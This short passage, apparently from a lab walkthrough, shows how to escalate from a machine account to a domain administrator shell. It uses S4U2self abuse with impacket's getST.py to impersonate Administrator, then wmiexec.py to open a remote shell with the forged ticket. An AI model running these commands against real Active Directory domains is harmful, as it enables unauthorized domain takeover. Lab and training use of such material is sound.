machine account to administrator shell

s4u2self abuse

• s4u2self abuse : we ask for a TGS as the Administrator domain user

export KRB5CCNAME=/workspace/acl/NYC.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/NYC.NewYork.local" -k -no-pass -dc-ip 192.168.56.10 "NewYork.local"/'NYC$'

• And than we use that ticket to connect as administrator

export KRB5CCNAME=/workspace/acl/Administrator@[e-mail]
wmiexec.py -k -no-pass NewYork.local/[e-mail]